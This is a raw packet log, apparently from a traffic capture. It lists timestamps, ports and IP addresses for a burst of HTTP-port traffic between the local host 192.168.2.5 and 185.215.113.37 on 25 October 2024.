Oct 25, 2024 07:28:20.202775955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202785969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.202794075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202815056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.202828884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241425991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241452932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241470098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241485119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241493940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241493940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241501093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241524935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241524935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241525888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241544008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241552114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241559029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241563082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241575003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241576910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241590977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241597891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241607904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241610050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241624117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241626978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241646051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241667986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241693020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241717100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241731882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241734028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241746902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241761923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241772890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241772890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241776943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241786957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241801977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241806984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241817951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241820097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241837978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241842985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241853952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241858006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241869926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241877079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241888046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241889000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241904974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241909981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241923094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241924047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241940975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241940975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241961956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.241962910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.241976023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.242005110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.318922043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.318965912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319020033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319056034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319065094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319065094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319065094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319119930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319135904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319173098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319173098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319207907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319228888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319242954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319257975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319294930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319308043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319344044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319356918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319410086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319413900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319462061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319463015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319506884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319514036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319561958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319564104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319593906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319610119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319628000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319638014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319772959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319788933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319823027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319829941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319875956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319883108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319916964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.319931030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319962025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.319968939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320000887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320030928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320034027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320055008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320067883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320091009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320102930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320117950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320136070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320149899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320169926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320180893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320204973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320219040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320240974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320252895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320276022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320290089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320311069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320317030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320344925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320355892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320379019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320393085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320414066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320422888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320449114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320458889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320482969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320494890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320521116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320527077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320554018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320561886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320590019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320599079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320624113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320633888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320658922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320667982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320693970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320708990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320729971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320746899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320760965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320775986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320804119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320817947 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320838928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320846081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320872068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320883036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320908070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320909977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320940971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320945978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.320976019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.320981979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321008921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321017981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321043015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321053028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321078062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321088076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321111917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321114063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321146011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321175098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321182013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321201086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321211100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321212053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321244955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321253061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321279049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321289062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321312904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.321321011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.321355104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358082056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358154058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358159065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358208895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358215094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358257055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358270884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358325958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358349085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358361006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358362913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358414888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358429909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358452082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358462095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358489990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358495951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358525038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358536005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358560085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358562946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358597994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358604908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358632088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358634949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358668089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358675957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358702898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358714104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358741999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358747959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358783960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358786106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358817101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358824968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358851910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358859062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358886957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358895063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358922005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358931065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358956099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358964920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.358990908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.358997107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359025002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359034061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359060049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359093904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359119892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359119892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359127998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359133005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359163046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359172106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359196901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359219074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359226942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359239101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359262943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359277010 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359297037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359308004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359333038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359342098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359349966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359365940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359376907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359385014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359396935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359400988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359414101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359416962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359433889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.359436035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359448910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359457970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.359472990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436180115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436238050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436261892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436273098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436295033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436319113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436331034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436383963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436415911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436434031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436445951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436481953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436486959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436522961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436542988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436566114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436578035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436614037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436624050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436667919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436671019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436717987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436724901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436774969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436778069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436826944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436832905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436872005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436877966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436913013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436942101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436945915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.436956882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436988115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.436997890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437047005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437051058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437083960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437092066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437119007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437145948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437151909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437172890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437187910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437201023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437222004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437231064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437256098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437263012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437299967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437321901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437355042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437359095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437397003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437406063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437443018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437453032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437477112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437484026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437510967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437522888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437545061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437550068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437580109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437581062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437614918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437624931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437652111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437666893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437686920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437695026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437722921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 25, 2024 07:28:20.437735081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 25, 2024 07:28:20.437757015 CEST	80	49704	185.215.113.37	192.168.2.5
